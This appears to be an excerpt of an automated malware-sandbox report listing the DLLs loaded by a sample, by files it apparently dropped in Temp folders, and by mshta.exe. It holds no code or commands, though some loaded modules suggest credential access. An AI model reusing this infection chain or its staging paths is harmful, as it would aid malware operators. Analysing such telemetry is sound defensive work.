Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: dsrole.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll
